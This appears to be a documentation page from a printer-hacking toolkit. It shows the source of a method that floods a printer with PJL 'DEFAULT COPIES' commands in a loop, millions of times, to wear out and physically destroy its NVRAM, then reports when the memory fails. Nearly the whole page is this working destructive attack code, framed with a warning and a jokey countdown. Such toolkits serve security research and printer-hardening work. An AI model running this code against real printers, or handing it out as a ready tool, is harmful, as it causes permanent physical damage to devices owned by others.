Method do_destroy

pjl.py:637–678

Cause physical damage to printer's NVRAM.

(self, arg)

    # ------------------------[ destroy ]---------------------------------
    def do_destroy(self, arg):
        "Cause physical damage to printer's NVRAM."
        output().warning("Warning: This command tries to cause physical damage to the")
        output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.")
        if output().countdown("Starting NVRAM write cycle loop in...", 10, self):
            self.chitchat(
                "Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?"
            )
            date = conv().now()  # timestamp the experiment started
            steps = 100  # number of pjl commands to send at once
            chunk = [
                "@PJL DEFAULT COPIES=" + str(n % (steps - 2)) for n in range(2, steps)
            ]
            for count in range(0, 10000000):
                # test if we can still write to nvram
                if count % 10 == 0:
                    self.do_set("COPIES=42" + arg, False)
                    copies = self.cmd("@PJL DINQUIRE COPIES") or "?"
                    if not copies or "?" in copies:
                        output().chitchat("I'm sorry Dave, I'm afraid I can't do that.")
                        if count > 0:
                            output().chitchat("Device crashed?")
                        return
                    elif not "42" in copies:
                        self.chitchat(
                            "\rI'm afraid. I'm afraid, Dave. Dave, my mind is going..."
                        )
                        dead = conv().elapsed(conv().now() - date)
                        print(
                            (
                                "NVRAM died after "
                                + str(count * steps)
                                + " cycles, "
                                + dead
                            )
                        )
                        return
                # force writing to nvram using by setting a variable many times
                self.chitchat("\rNVRAM write cycles:  " +
                              str(count * steps), "")
                self.cmd(c.EOL.join(chunk) + c.EOL + "@PJL INFO ID")
        print()  # echo newline if we get this far

    # ------------------------[ hold ]------------------------------------
    def do_hold(self, arg):